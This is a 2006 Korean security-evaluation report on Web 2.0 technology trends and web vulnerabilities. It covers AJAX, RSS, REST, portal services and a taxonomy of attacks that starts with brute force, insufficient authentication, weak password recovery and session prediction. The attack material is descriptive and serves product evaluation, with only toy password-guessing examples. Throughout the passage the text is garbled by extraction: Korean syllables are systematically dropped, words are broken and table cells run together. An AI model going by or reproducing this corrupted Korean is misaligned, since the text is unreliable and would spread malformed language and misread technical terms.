web2.0 기술 동향 및 web 보안 취약성 분석
DESCRIPTION
TRANSCRIPT
연구자료 등록서작성자
박 정 환
작성부서
보안성평가단 평가2
승인자
조 규 민
작성일자
2006-11-20
페이지
43
제 출
번 호
구분 연도 일련번호
평가2 - 2006 - 002
출 연
( 탁)
기
변 경
코 드
기 술
보 호
등
1. A
2. B
3 . C
기술보호기간
( 에 한함)
승인문서 리자
노 병 규
등록일자
2006 - 12 - 20
제
목
한 Web 2.0 기술동향 Web 보안 취약성 분석
문 Web 2.0 Technical Trend and Web Security Threat Analysis
색
인
어
한 인증, 인가, 클라이언트측 공격, 명령어 수행, 정보유출, 논리 공격, 공격
백터, 역별 리스크, 리더기 유형별 리스크, 표 별 리스크
문
Authentication, Authorization, Client-side Attack, Command Execution,
Information Disclosure, Logical Attacks, Attack vector, Risks by Zone,
Reader Type-Specific Risks, Standard -type Risk
요 약
(300자 이내)
Web 2.0이 최근에 나온 기술로 2장에서는 Web 2.0의 개념, 용기술,
유사 기술과의 비교, 국내외 용사례 등을 통해 Web 2.0에 한 기술을
해 알아보고, 재 Web이 갖는 취약성 Web 2.0 기술이 용됨에
따라 추가된 취약성에 해 알아보겠다. 본 보고서를 통해 향후, Web2.0
기술이 보편화 되었을 때 웹방화벽 제품을 평가하는데 활용할 수 있을
것으로 기 한다.
공동 작성자 방지호
련 문 서
배 포 처
종합 리번호 보존등록일 확인
[무단복제 지 KISA Proprietary]
Web 2.0 기술동향
보안 취약성 분석
2006. 11
보안성평가단 / 평가 2팀
목 차
제 1 장 개요 ······································································································ 1
제 2 장 Web 2.0 기술동향 ············································································ 1
2.1 개요 ·································································································································· 1
2.2 Web 2.0의 용 기술 ··································································································· 4
2.3 Web 2.0과 유사방식 비교 ··························································································· 6
2.4 국내․외 업체 동향 ······································································································ 9
제 3 장 Web1.0의 취약성 ············································································ 11
3.1 인증(Authentication) ···································································································· 11
3.2 인가(Authorization) ······································································································ 13
3.3 클라이언트측 공격(Client-side Attacks) ································································ 16
3.4 명령어 수행(Command Execution) ········································································· 19
3.5 정보 유출 (I n f o r m a t i o n D i s c l o s u r e) ········································································· 27
3.6 논리 공격(L o g i c a l A t t a c k s) ················································································· 32
제 4 장 Web2.0의 취약성 ·········································································· 34
4.1 공격 벡터(Attack vector)로서의 웹 피드 ································································ 35
4.2 역별 리스크(Risks by Zone) ················································································ 37
4.3 리더기 유형별 리스크(Reader Type-Specific Risks) ·········································· 39
4.4 표 별 리스크(Standard Risk) ·················································································· 40
제 5 장 결론 ···································································································· 41
[참조문헌] ········································································································ 43
- 1 -
제 1 장 개요
인터넷의 커뮤니티, 블로그 등 활성화게 됨에 따라, 사용자들의 참여와 개방성이
발 함에 따라, 국내․외에서 Web 2.0의 기술을 용하는 사례가 늘고 있다. 이에
한 지속은 계속될 것이며, Web 2.0이 활성화 되면, 기존의 웹이 가지고 있는 취
약 뿐만 아니라, 추후 소개될 Ajax, XML, API 기술 등이 용됨에 따라 XML 컨
텐트 피딩 등 웹에서의 침해행 는 더욱 증가할 것으로 상된다. 본 문서에서는
Web 2.0이 최근에 나온 기술로 2장에서는 Web 2.0의 개념, 기술, 유사한 기술과의
비교하여 Web 2.0에 한 기술을 악하고, 3장에서는 Web이 갖는 취약성에 해
알아보고, 4장에서 Web 2.0 기술이 용됨에 따라 추가된 취약성에 해 알아보겠
다. 본 문서는 웹 보안제품의 평가에 활용하고자 한다.
제 2 장 Web 2.0 기술동향
2.1 개요
Web2.0은 Web1.0과 달리 일방 인 정보 제공형태가 아닌 사용자들의 참여와 개
방성을 통해 사용자들이 일방 으로 정보를 제공받지 않고 블로그, 검색 등을 활용
해 스스로 정보 네트워크를 창조하고 공유하는 것이다. Web 2.0은 렛폼으로서
의 웹, 완 히 새로운 형태의 웹 이라고도 불리고 있으며, 웹 비즈니스의 국내외 주
요 개발자들에 의해 실 서비스로 구 되고 있다. Web2.0이 래하는 Web 비즈니스
의 구조변화를 살펴보면, 다음 아래의 그림과 같이 3개축(특징, 실 수단, 활용사례)
로 생각해 볼 수 있다.
[그림 1] Web 2.0의 주된 키워드군[출처: Nomura 종합연구소]
- 2 -
한, 비즈니스측면에서는 Web의 여명기를 Web1.0, 보 기를 Web1.5, 재의 웹을
Web2.0으로 한다고 했을 때 다음 아래와 같이 표 될 수 있다.
[그림 2] Web 비즈니스 구조의 변화[출처: Nomura 종합연구소]
그림과 같이 서로 링크되며, “Long Tail”을 의식한 비즈니스를 개하기 해서
는 “유 참가형”으로 많은 유 피드백을 모으고, 많은 유 를 참가시키기 해서는
AJAX 등을 이용해 “리치한 유 체험”을 실 해, 유 가 소문․정보를 입력하고 싶어하
는 매력 인 Web 사이트를 구축해야 할 것이다. Web2.0으로 등장하면서, 정보발신자
가 다양화 된다는 것을 알 수 있다. 종래의 Web에서는 정보 발신자는 기업․매스컴
등이 높은 선진 유 에게 한정되었다. 엄 히 말하면, 유 가 BBS나 Email로 정보 발
신하는 것은 가능했지만, 이 정보들은 다양한 서버상이나 로컬 머신상에 산재하 고 개개의
정보는 큰 의미를 가지지 못했다. 하지만 Web2.0에서 블로그․SNS(Social Networking Site),
Wiki․유 리뷰사이트 라는 정보를 발신․집약하는 툴을 가나 간단히 이용할 수 있게
된다. 즉 모아진 소문 정보는 산재할 뿐 아니라 서로 제휴의 가속화를 통해 매스(집단)을
형성하게 된다. 이것은 CGM(Consumer Genterated Media)로 불리며, 유 가 정보를
발신하는 미디어로 주목받고 있다.
[그림 3] 정보 발신자의 다양화와 CGM의 두[출처: Nomura 종합연구소]
- 3 -
[그림 4] 상호 제휴의 가속[출처: Nomura 종합연구소]
Web2.0의 비즈니스 모델, 정보모델, 기술트랜드 변화를 지 까지의 변천과 향후 방
향성을 살펴보면 다음 아래와 같다.
[그림 5] Web2.0의 진화방향[출처: Nomura 종합연구소]
Web2.0은 하나의 트랜드이자 거부할 수 없는 추세임은 틀림이 없으며, goggle,
Bit Torrents, 키, 블로그, API 등을 통하여 성공 인 뿌리를 내리고 있음을 시사
하는 것이다.
지 까지 이런 Web2.0을 가능하게 한 특징을 살펴보면 다음과 같다.
- 4 -
o 사용자 참여의 태그이다 : 사용자들이 각 자료에 자발 인 참여를 통해 태그를
달고 이를 유통시키는 것이다. 어떤 가도 없이 재미와 가치의식만으로 그
게 하고 있다는 이다. Flickr나 닐리셔스(del.icio.us) 등이 이러한 태그 기반의
비즈니스 모델로 들 수 있다.
o 사용자 심의 인터페이스이다 : 사용자들에게 더 편리하고 직 인 서비스를
지향한다는 이다. AJAX(구 맵스, 네이버의 추천 검색, 다음의 주소록 입력
방식 등에 활용)처럼 사용자에게 불편을 끼치지 않으면서 최 한의 편의를 제공
하고자 하는 노력은 Web2.0비즈니스 모델이 갖는 다른 특징의 하나이다.
o 사용자가 직 가치를 부여한다는 것이다. : e-베이의 평 시스템이나 아마존의
추천 도서 목록제, G마켓의 추천 품평 올리기 등이 이다. 구매자들은
고나 홍보보다 기존 구매자들이 올리는 추천이나 평가 자료에 더 신뢰를 보이고
있다.
o 직 참여하는 미디어이다. : 블로그, Trackback, RSA에서 보듯 더 이상 정체나
정보의 유통에 그치지 않는다. 항상 살아 움직이며 외부와의 의사소통을 해 나
가는 열린 공간인 것이다. 이제 이용자가 정보의 생산과 소비를 겸하는 새로운
개념의 모델이다.
o 신뢰와 분산이다. : 키디피아사 은 종 소수의 문가에 의해 만들어져 오던
‘사 ’이라는 통념을 무 뜨린 사건이다. 즉, 소수의 문지식보다 다수의 집단지
능이 더 가치를 평가 받는다. 개개인의 지식과 문성은 문가에 떨어질지도
모른다. 그러나, 각 개개인의 지능은 가치를 내포하고 있고, 이들이 모인 다수의
정보나 지식의 가치는 훨씬 더 많은 가치를 함축하고 있다.
o 롱테일 비즈니스다 : Long Tail이란 긴 꼬리를 말한다. 마 에 있어 80 20의
법칙을 우선시 했으나 하나의 과옥조처럼 평가되어 왔다면 Web2.0 시 에서는
주목 받지 못하는 80에 더 기회를 부여한다.
2.2 Web 2.0의 용 기술
Web2.0 인 라 기술은 복잡하고 진화 에 있으며, 표 기술은 AJAX, API,
LAMP, XML, RSS, REST 등이 있다. 각각의 기술에 한 특징을 알아보도록 하겠다.
□ AJAX(Asynchronous JavaScript And XML)
XHTML, CSS, 자바스크립트 등의 기술이 고루 섞여 화형 웹 어 리 이션을 만들
수 있게 하는 웹 로그래 기술의 복합체, 비동기식 자바스크립트와 XML
(Asynchronous JavaScript And XML)의 임말이다. Ajax는 XHTML, CSS,
JavaScript, Document Object Model, XMLHttpRequest 등의 기술로 이루어진다.
- 5 -
XML기반의 웹서비스 언어를 사용하고 클라이언트에서는 자바스크립트를 가지고 서버에
응답한다. 그 결과 라우 와 웹서버 간의 데이터 량이 어들어 어 리 이션의 응
답성이 향상되고 웹서버의 부담이 어들게 된다. 웹에서 해당 서비스를 쓰는데
있어 별도로 로그램을 설치( :액티 엑스, 래시)하거나 해당 기능을 갖춘 새 창
을 띄울 필요가 없다. 사용자로 하여 직 웹 상의 자료의 치를 편집하는 등 커
스터마이징을 가능하게 해 다. 구 의 지메일, 구 맵이 Ajax를 구 한 서비스의
표 인 이다. 사진공유사이트인 릭커는 사진 미리보기 기능에서 래시를 빼
고 Ajax로 환했다. 재, 차세 인터넷 Web2.0에 부합하는 신 인 기술로 평가받
기도 하나, 라우 에 따라 XMLHttpRequest르 사용할 수 없는 경우도 있고 복잡성
이 문제가 되어 아직 논란이 존재한다.
□ API(Application Program Interface)
사 의미는 소 트웨어 어 리 이션을 개발하기 한 여러 가지 함수의 집
합이다. 즉 특정 소 트웨어나 로그램의 기능을 다른 로그램에서도 활용할 수
있도록 표 화된 인터페이스를 공개하는 것을 의미한다. 포털은 자사의 서비스 구
성요소를 모듈화 시킨 API를 공개해 이용자가 이를 활용해 다양한 서비스를 스스
로 제작할 수 있도록 지원하고 있다. 특히, API 활용 방법을 상세하게 안내함으로
써 막 한 투자와 노력 없이도 포털과 동일한 수 의 인터넷 서비스를 쉽게 만들
수 있도록 하고 있다. 를 들어, 네이버의 검색API를 이용하면 자신만의 검색서비
스를 구축할 수 있고, 국어사 API를 활용해 개인 블로그에서 국어사 을 방문자
에게 제공할 있게 된다. API 공개는 지 까지 콘텐츠의 소비자 역할을 담당했던 이
용자가 서비스의 생산자 역할을 겸할 수 있다는데 큰 의의가 있다. 아직 API를 활
용해 매쉬업을 만들어내기 해서는 일정수 이상의 로그래 능력이 필요하지
만, 이러한 것을 보완하기 해 툴이 개발되고 있고, API공개가 가속화됨에 따라
가까운 미래에는 구나 자신의 입맛에 맞는 인터넷 서비스를 스스로 만들 수 있게
될 것이다. 이와 같은 변화는 이용자와 참여와 공유를 바탕으로 새로운 가치를 창
출하는 최신 트 드인 Web2.0과 맞닿아 있다. API는 완성품이 아닌 새로운 서비스
를 만들어 낼 수 있는 도구로써 다른 Web2.0서비스와 마찬가지로 이용자의 자발
인 참여와 공유가 없으면 정보가치를 창출할 수 없다.
□ LAMP
LAMP는 리 스(L), 아 치 웹서버(A), MySQL 데이터베이스(M), Perl 로그래
언어(P) 조합을 말한다. Perl 애 리 이션은 솔라리스나 도우즈에서도 운 되고
MySQL 신에 오라클을 선택할 수도 있다. LAMP은 주류의 기업 컴퓨 분야에
진출하고 있어 자바나 MS닷넷과 경쟁하는 존재가 되고 있다. 웹 사이트
www.opensourcecms.com에 가만 드루팔, 맘보, 라를 포함하는 70개가 넘는 오
소스 LAMP 기반의 CMS 데모 버 이 있다. eZ 퍼블리시, 냐, PHPBB는 이 사이
- 6 -
트에서 수행되는 데모 소 트웨어를 제공한다.
□ RSS
RSS는 컨텐츠 배 과 수집에 한 표 포맷으로 RSS의 사 의미는 Really
Simple Syndication 는 Rich Site Summary의 머리 자이며, XML기반의 표 통
신 포맷이다. Wikipedia는 RSS를 하나의 “ 송규약(Protocol)"로 이해하고 있다.
RSS는 http 는 FTP와 같은 하나의 송규약에 가깝다고 할 수 있다. 우리가 사용
하는 웹주소를 보면 ”http://www../xxx.htm"으로 구성되는데 이를 풀이하면 http
라는 송방으로 html 일을 보낸다는 의미로 이해할 수 있다. 이때 http에 응하
는 것이 RSS이며 html에 응하는 것이 xml 이다. 즉, RSS는 데이터를 보내는 방
식이며 xml은 그 데이터의 구 방식으로 이해할 수 있다.
이러한 구 방식을 통해 다양한 콘텐츠를 요약하고, 상호 공유하고 주고받을 수 있
도록 만든 표 이다.
다음은 RSS 주요 사용분야는 다음 아래와 같다.
- 뉴스 공지사항 : 매시간 새로운 정보가 추가, 변경되는 뉴스 는 신규소식 서비스
- 강좌 : 고객이 매번 사이트를 방문하여 규칙 으로 확인하지 않는 컨텐츠서비스
- 일정 : 주요행사 마감일자 는 휴일정보
- 검색결과 : 심 키워드에 한 변경 신규 정보 조회 서비스
- 메일링 리스트 : 주기 으로 이메일로 고객에게 서비스 한 내용 모음
- 기타 : 입찰정보, 채용정보
□ REST(Representational State Transfer)
XML 일로 된 웹 페이지를 읽어 원하는 정보를 수집하는 기능이다. 웹 페이지를
만드는 사람은 주기 으로 내용을 개정하고 사용자는 그 페이지의 URL만 알면 웹
라우 로 읽어 정보를 얻을 수 있다. Http와 xml을 포함한 웹기술 로토콜을
사용하느 구조 형태로서 단순 객체 근 로토콜(SOAP)보다 사용이 간편하고,
사이트 내용을 기술하는 RSS(RDF Site Summary)의 정보 편집 기능과 유사하다. 몇
몇 문가들은 핵심 웹 아키텍처만을 의존하는 서비스를 설명할 때 REST를 사용한다.
SOAP을 사용할때와 REST를 사용 때의 규칙은 없다. 하지만 웹 서비스 태스크에
SOAP이 아닌 REST를 사용할 것을 고려해보는 것은 요하다. 웹 록시, 거미,
크롤서, 에이 트, 라우 등 HTTP를 통해 달된 XML을 처리할 수 있다.
2.3 Web 2.0과 유사방식 비교
□ 웹 1.0과 비교
버 스에 의해 만들어진 종 의 웹은 하이퍼링크 구조를 기반으로 하는 텍스트
심의 정 인 HTML 문서로 구성되고, 링크를 통해 단순히 클릭을 하는 것만으로
- 7 -
자신이 읽을 문서로 이동하는 정도의 상호작용을 가진 수 이었다. 이에 반하여
Web2.0은 인터넷 사용 환경이 상호작용과 사회 네트워크에 기반을 두고 있으며
시각 상호작용 인 웹을 만들어 네트워크를 발생 시킬 수 있다.
다음 표는 기존의 웹 1.0과 비교한 표이다.
구분 Web 1.0 Web 2.0
기술 HTML, 엑티 엑스 등AJAX, API, LAMP, XML, RSS,
REST
보안/OS 종속성엑티 엑스를 사용하여 보안
취약, OS/ 라우 의 종속이 큼OS/ 라우 의 종속이 큼
표 라우인터넷 익스 로러, 단순한 뷰어
역할
Fire Foz, 수백 개의 확장기능들이
유 들에 의해 수정 보완
사례 하이퍼링크 주의 웹 사이트키피디어, 아마존, e베이, 딜로이
셔스, 지식인, 싸이월드 등
특징
- 포털에서 제공하는 서비스 외에는
이용자가 마음 로 할 수 없음
- TV나 라이오처럼 정보를 제공
하기만 함
- 웹에 오른 데이터나 서비스에
한 응용 변경 불가능
- 랫폼으로서의 웹, 소스나 로그
램을 응용하여 이용가능
- 구도 데이터를 소유하지 않으며,
모든 사람이 사용가능. 한 더 나은
형태로 변형 가능
- 참여와 공유의 사용자 심, 참여자
심, 개인화
한, Web1.0의 비즈니스는 Value Chain이라면, Web2.0은 Internet Ecosystem이라
고 할 수 있다. Web1.0에서 사용자는 웹기반 비즈니스 Value Chain내의 피동 인
정보 수용자가 되며, 사용자가 서비스, 콘텐츠 생산과정에 참여 기여하는 일련의
행동들은 간과되고 있다.
[그림 6] Web1.0 기반의 Value-chain[출처 : 차세 인터넷 Web2.0 코리아 2006]
- 8 -
그러나 Web2.0에서는 인터넷 서비스를 사용자, 사업자, 고주, 트 등 행
자(Actor)들이 상호작용하는 군집체(Cluster)로 간주하고, 그 속에서 콘텐츠, 수
익 등 일련의 비즈니스 과정을 보이는 인터넷 생태계(Internet Ecosystem)으로
인식하고 있다.
[그림 7] Web2.0 기반의 Ecosystem[출처 : 차세 인터넷 Web2.0 코리아 2006]
□ SOA와 비교
웹기반 표 기술인 웹서비스 기술을 활용하여 새로운 비즈니스를 창출한다는
측면에서 SOA는 최근 화두가 되고 있는 Web2.0과 매우 유사한 특징을 지니고
있다. 마이크로소 트 아키텍쳐 략 담당 인 John de Vados는 Web2.0과 SOA
의 개념과 주요 특성을 비교하면서 재 Web2.0은 소비자 심 비즈니스 모델을
지원하고, SOA는 기업 심 모델을 지원하고 있다고 보고 있다. 그리고 미래 비
즈니스 세계는 이 둘 간의 구분이 모호해지고 연계가 활발해짐에 따라, 궁극 으
로 Web2.0이 로벌 차원의 SOA를 실 할 수 있을 것으로 망하고 있다.
구분 Web 2.0 SOA
서비스 모델 웹 서비스 웹 서비스
용 기술AJAX, API, LAMP, XML,
RSS, RESTWSDL, UDDI, SOAP, BPEL
재 사용성 매우 높음 약간 높음
유연성/순응성
매우 높음
단순한 데이터 포맷
가벼운 로그래 모델
높음(보다 더 공식 )
조합과 통합
비즈니스 모델
Long Tail 효과
네트워크 효과
집단기능 활용
고객 셀 서비스
BPM
자산통합
데이터 퓨
래거시 자산의 생명주기 연장
비즈니스 활동 모니터링
비즈니스 지능 활용
- 9 -
설계 랫폼
AJAX
신디 이션
멀티 디바이스 소 트웨어
Service Layer
Service Bus
Unit of Work
핵심 역량
- 서비스로서의 SW(SAAS2)
- 데이터 소스에 한 통제
- 공동개발자로서 사용자 신뢰
- 집단기능 이용
- Long Tail 효과
- 단일 디바이스(PC 랫폼)을 넘
어선 소 트웨어
- 가벼운(Lightweight) UI, 개발
모델, 비즈니스 모델 채용
- 기능의 재정비
- 자산으로서 데이터
- 근 가능성
- 시스템/데이터 통합
- 비용 감
- 비즈니스 기민성
- B2B 셀 서비스
- 오 스탠다드
- 온톨로지(Ontologies)
- 오퍼 이션의 투명성
- 소비자 심의 비즈니스 로세스
2.4 국내․외 업체 동향
□ 국내 동향
재, 국내 포털기업들은 Web2.0을 자신들의 미래 생존을 결정하고 진화할 수
있게 하는 요한 결정자로 인식하고 있으며, 이에 따라, 국내 포털기업들은 사
용자를 트 로 인정하고 이들과 함께 새로운 비즈니스 환경을 만들어내고자
UCC(User Created Contents : 사용자제작콘텐츠) 서비스 개발, 주요 랫폼 서
비스의 API 개방, 다양하게 결합된 컴포턴트을 담을 수 있는 컨테이 의 제공
작은 트래픽을 모아 수익을 낼 수 있는 수익 모델개발 등 본격 인 서비스와
모델 개발에 힘을 기울이고 있다. 이에 한 력사업의 일환으로 네이버, 다음,
야후 등 국내 주요 포털기업들은 작년부터 블링크 서비스 강화, UCC 콘텐츠 유
성 략을 수립하고 올해부터 다음 아래와 같은 Web2.0 서비스에 들어갔다.
포털사이트 서비스명 내용
네이버블링크(blink.naver.com)
블로그(Blog)와 링크(link)의 합성어로
심사가 같은 사용자들이 링크를 통해
정보를 상호교환하는 서비스
이(play.naver.com) UCC 기반의 멀티미니더 커뮤니티
다음 이(pie.daum.net) UCC 기반의 이미지 커뮤니티 서비스
야후코리아
야후!허 (kr.hub.yahoo.com)태그 기능이 더해진 사용자 심의 검
색서비스
야후!메일(mail.yahoo.co.kr)
1GB의 용량제공과 통합 RSS 리더기의
기능이 내장된 Web2.0 기반의 차세
웹메일 서비스
야후! 젯(kr.widgets.yahoo.co.kr)기존 젯(1) 기능에 RSS 기능 젯
용 블로그를 개설하여 커뮤니티 강화
- 10 -
업체명 내용
그리
기업의 홍보 략으로 블로그 운 자를 상으로 인터넷 통신 매
지원서비스이다. 즉 임의로 자신의 블로그에 상품 사진을 올려 고
객이 구매할 경우 일정 수수료를 받는 방식임
페이퍼 보이&코보자들이 월 315엔으로 쉽게 홈페이지를 개설할 수 있도록 하
는 인터넷상의 컴퓨터 서버 임 서비스
도리컴웹샤크라는 인터넷 과 개인 홈페이지 등을 연결하는 인터넷 도매
사업 서비스
셉테니 All About는 Web2.0을 활용해 문성을 갖춘 미디어 기업 서비스
네이트
마이네이트(my.nate.com UCC 기반의 퍼스털 포털 서비스
미니채 (miniCH.nate.com)웹상의 모든 링크가 유통되는 블링크
(Blink)서비스
써 (searchplus.nate.com)
검색서비스로 검색결과에 해 사용자
더 정확하고, 유용한 정보라고 단하여
“ 러스” 버튼을 르면 다른 검색 결과
보다 상 에서 보여주는 검색 서비스
<출처 : STRABASE, 2006. 6>
□ 국외 동향
1) 일본
일본에서는 Web2.0기술을 활용한 벤처 기업들이 속속 등장하고 있으며, 이들은
소 트뱅크나, 라쿠텐(인터넷 쇼핑물)등의 1세 벤처기업과 구분해 차세 벤처기
업으로 지탱하며 새로이 주목하고 있다. 일본 최 의 SNS(Social Networking
Service)를 운 하는 mixi는 서비스 개시 2년 6개월 만에 500만 명의 회원을 모으는
성과를 올렸다. mixi는 SNS 서비스에서 커뮤니 이션 기능을 충실히 구 해 차별화
를 이 냈으며, 미국에서 시작된 SNS는 원래 읽기 등의 커뮤니 이션 기능이 없고,
“친구의 수를 자랑”하는 수 에 머무르기 쉬웠으나 mixi는 기부터 읽기, 메시지,
커뮤니티 등의 구조를 도입했다. 향후 gbeovhs 기반으로 한 서비스 추가를 추진하
도 있다. 이 게 mixi의 성공에 힘입어 SNS 서비스를 표방하는 많은 벤처 기업들은
다음 아래와 같다.
2) 국
2005년 부반기부터 비롯된 국의 열풍은 IT뿐만 아니라, 사회 , 문화 으로
속히 확산되어, 국 IT 업계에서는 “Web2.0 백가쟁명의 시 ”라고 표 하고 있다.
2005년 말 기 으로 국의 블로그 유 는 략 1,000만명으로 추정되고 있으며,
국 인터넷 인구 20명당 1명꼴로 블로그를 이용하고 있는 것으로 그 수는 아직도
- 11 -
Normal Brute Force Attack
- 사용자 이름 = Jon
- 비 번호 = smith, michael-jordan, [애완동물 이
름], [생일], [차번호], -------
격하게 증가하고 있다. 블로그가 빠르게 확산되면서 사이트의 갱신 정보를 달하
는 RSS 기능을 활용한 포트 캐스트나 비디오 포트 캐스트 등도 빠르게 활성화 되
었다. 블로그, SNS, RSS 등의 서비스를 통합한 신흥기업이 차례차례 두각을 나타내
고 있고, 이러한 기업은 기 인터넷 붐을 주도했 포털 사이트 계열의 기업들을
구세력이라는 의미를 담은 Web1.0세 라고 지칭하고 있다. 하지만, 국의 Web2.0
은 일본의 mixi와 같은 성공 인 비즈니스를 확보한 기업이 출 않고 있으며, 아
직까지는 서비스 모델의 부재로 난항을 겪고 있다. 이러한 이유는 그동안 해외의
비즈니스 모델을 직수입하는 방식인 이른바 “C2C(Copy to China)”에 지나치게 의
존한 결과라고 보고 있다. 한, “인터넷 서비스 = 무료”라 여기는 국 유 의 인
식이 근본 인 요인으로도 거론되고 있는 실정이다.
제 3 장 Web1.0의 취약성
웹 보안의 취약성은 웹사이트 리스크에 지속 인 향을 끼치고 있으며, 웹 보안
의 취약성이 발견되면, 보통 class of attack(보안 취약성을 이용할 수 있는 방법)으
로 칭하고 있다. 이런 유형으로는 버퍼 오버 로우, SQL 인젝션, XSS(Cross-site
Scripting) 등이 있다. 앞으로 다룰 내용은 6개(인증, 인가, 클라이언트측 공격, 명령
수행, 정보유출, 논리 공격)의 카테고리로 분류하여 각각에 한 취약성을 알아보
겠다.
3.1 인증(Authentication)
□ 무차별 공격(Brute Force Attack)
무차별 공격은 사용자의 ID, 비 번호, 신용카드 암호, 암호 키 등을 로그램을
이용하여 자동으로 시행착오를 겪으면서 알아낼 때 까지 계속 해보는 것이다. 아직
까지 많은 시스템이 취약한 비 번호나 암호키를 허용함으로써 이러한 공격이 통하
고 있는 실정이다. 본질 으로 무차별 공격은 두가지 종류가 있다. 하나는 Normal
Brute Force Attack 과 다른 하나는 Reverse Brute Force Attack이 있다. 두 가지
공격의 차이는 첫 번째 Normal Brute Force Attack은 사용자 ID 하나에 비 번호
를 지속 으로 입력하는 방식이며, Reverse Brute Foce Attack는 반 로 하나의 비
번호 놓고 지속 으로 사용자 ID를 바꾸면서 입력하는 방식을 의미한다. 다음 아
래는 하나의 이다.
<공격 시>
- 12 -
Reverse Brute Force Attack- 사용자 이름= Jon, Dan, Ed, Sara, Barbara, -----
- 비 번호 = 12345678
□ 불충분한 인증(Insufficient Authentication)
불충분한 인증은 공격자가 웹사이트에서 한 인증을 받지 않고 민감한 내용이나
기능에 액세스했을 때 발생한다. 특정, 웹 어 리 이션은 사용자가 ID를 하게
검증하지 않은 채 액세스를 허용하는 경우를 뜻한다. 인증을 받지 않고 돌아가기
해서, 일부 리소스는 특정 장소를 "감추고" 메인 웹사이트나 다른 공개된 주소로
링크를 연결하지 않음으로써 보호할 수 있다. 그러나 이런 근방식은 "모호성을 통
한 보안(Security Through Obscurity)"에 지나지 않는다. 따라서, 리소스가 공격자에게
알려져 있지 않았다고 해서 특정 URL을 통해 직 으로 액세스하지 못하는 게 아
니라는 을 이해할 필요가 있다. 그 특정 URL은 무차별공격 조사, 즉, 공동 일
디 터리 치( : /admin), 에러 메시지, 참조 로그(referrer logs), 는 도움말
일(help file) 내 자료 등을 통해 알아낼 수 있다. 를 들면, 많은 웹 어 리 이
션에서 리 기능 치 디 터리와 루트 디 터리가 떨어지게 설계되어 왔다
(/admin/). 이 디 터리는 보통 웹사이트에서는 어느 곳과도 링크되어 있지 않지만
표 웹 라우 를 쓰면 액세스가 여 히 가능하다. 이 게 링크가 걸려있지 않기
때문에 사용자나 개발자는 아무도 이 페이지를 볼 것이라고 생각하지 않는데, 그래서
여기에 한 인증을 간과할 때가 많다. 공격자가 이 페이지를 방문하기만 하면 웹
사이트에 한 리자 액세스를 완 하게 얻을 수 있게 되는 것이다.
□ 취약한 비 번호 복구기능 유효화(Weak Password Recovery Validation)
취약한 비 번호 복구기능 유효화는 공격자가 다른 사용자의 비 번호를 불법
으로 획득하거나, 바꾸거나 복구할 때 발생한다. 기존의 웹사이트 인증 방식에서는
사용자가 비 번호나 비 번호에 해당하는 질문 등을 고르고 기억해야 했다. 사용
자만이 비 번호를 알아야 했고 한 비 번호를 정확하게 기억해야 했다. 시간이
흐르면서 사용자들은 비 번호를 잘 기억하지 못하게 되었다. 평균 사용자가 20개
웹사이트를 방문하는 시 가 되자 문제는 더 복잡해졌다. 웹사이트마다 비 번호를
요구하기 때문이다(RSA Survey: http://news.bbc.co.uk/1/hi/technology/3639679.stm).
그래서 비 번호 복구가 온라인 사용자를 한 서비스에서 요한 부분을 차지하게
되었다. 자동 비 번호 복구 과정에는 사용자가 사용자 등록과정에서 선택했던 "비
질문"에 답을 하도록 하고 있다. 드롭다운 목록에 있던 질문일수도 있고 사용
자 임의의 질문일 수도 있다. 다른 매커니즘으로는 사용자가 등록과정에서 작성한 "
힌트"를 사용하는 것이다. 힌트의 목 은 사용자가 비 번호를 더 잘 기억하도록 돕
는 것이다. 다른 매커니즘에서는 사용자 확인을 해 사회보장번호, 집주소, 우편번
호등과 같은 개인 정보를 일부 제공하도록 하고 있다. 사용자가 신분확인을 한 후
- 13 -
에 복구 시스템이 비 번호를 보여주거나 이메일로 새 비 번호를 보내 다. 공격
자가 복구 매커니즘을 무효화시키는 데 성공하면 그 웹사이트는 취약한 비 번호
복구기능(Weak Password Recovery)를 가진 것으로 생각된다. 이것은 사용자의 ID를
유효화하는데 필요한 정보가 추측하기 쉽거나 따돌려질 수 있는 경우에 일어난다.
비 번호 복구 시스템은 무차별 공격, 고유 시스템 결함, 추측하기 쉬운 비 번호
질문 등을 사용하면 약해질 수 있다. 를 들어 정보 확인하는 방법으로 비 번호
복구기능 제공할 경우, 사용자의 이메일 주소와, 집주소, 화번호만 요구하는 웹사
이트가 많다. 이런 정보는 온라인 화번호부(미국의 경우)에서 쉽게 획득할 수 있
다. 그 결과 정보 확인은 별 비 이 아니다. 더군다나 이 정보는 XSS나 피싱 등의
다른 방법을 통해서도 획득할 수 있다. 한, 비 번호 힌트를 이용한 비 번호 복
구기능은 사용자가 비 번호를 기억하기 쉽도록 힌트를 사용하는 웹사이트는 힌트
가 무차별 공격을 도와주기 때문에 공격을 받을 수 있다. 사용자가 "bday+fav
author"라는 힌트를 설정해놓고 "122277King"라는 비교 괜찮은 비 번호를 사용
한다고 하자. 공격자는 이 힌트에서 사용자의 비 번호가 사용자의 생일과 좋아하
는 작가를 합친 것이라는 정보를 얻을 수 있다. 이로 인해 패스워드를 알아내기
해 루트 포스 공격이 거쳐야 할 범 가 크게 어든다는 것을 알 수 있다.
3.2 인가(Authorization)
여기에서는 웹사이트가 사용자, 서비스 어 리 이션에 해 요청된 동작을 수행
하는 데 필요한 허가를 받았는지를 결정하는 웹사이트의 방식을 타깃으로 하는 공
격에 한 것이다. 를 들어, 각 웹사이트는 특정 내용이나 기능에는 특정 사용자
만을 허가해야 한다. 그 지 않은 경우 다른 리소스에 한 사용자의 액세스는 제
한됨을 뜻한다.
□ 자격증명/세션 측(Credential/Session Prediction)
자격증명/세션 측은 웹사이트 사용자 ID를 가로채거나 허가된 사용자로 가장
하는 방법이다. 특정 세션이나 사용자를 확인하는 고유한 값을 추론하거나 추측하
면 공격이 성공한다. 세션 가로채기(Session Hijacking)으로도 알려진 이 방법의 결
과로 공격자는 획득한 사용자의 특권을 써서 웹사이트 요청을 할 수 있게 된다. 많
은 웹사이트에서는 처음 커뮤니 이션이 시작되고 난 뒤부터 사용자를 인증하고 추
하도록 설계되어있다. 이를 해 사용자는 자신의 신분을 웹사이트에 증명해야
하는 데 보통 ID/비 번호(credential)가 필요하다. 이런 비 자격증명(credential)을
각 트랜잭션마다 주고받는 신 웹사이트는 인증을 하면서 사용자 세션을 식별하는
고유한 "세션 ID"를 생성하게 된다. 추후 사용자와 웹사이트 간의커뮤니 이션은 인
증된 세션의 "증명"으로써 세션 ID와 연결되게 된다. 만약 공격자가 다른 사용자의
세션 ID를 상하거나 추측할 수 있게 되면 부정행 가 가능해진다. 를 들면, 웹
- 14 -
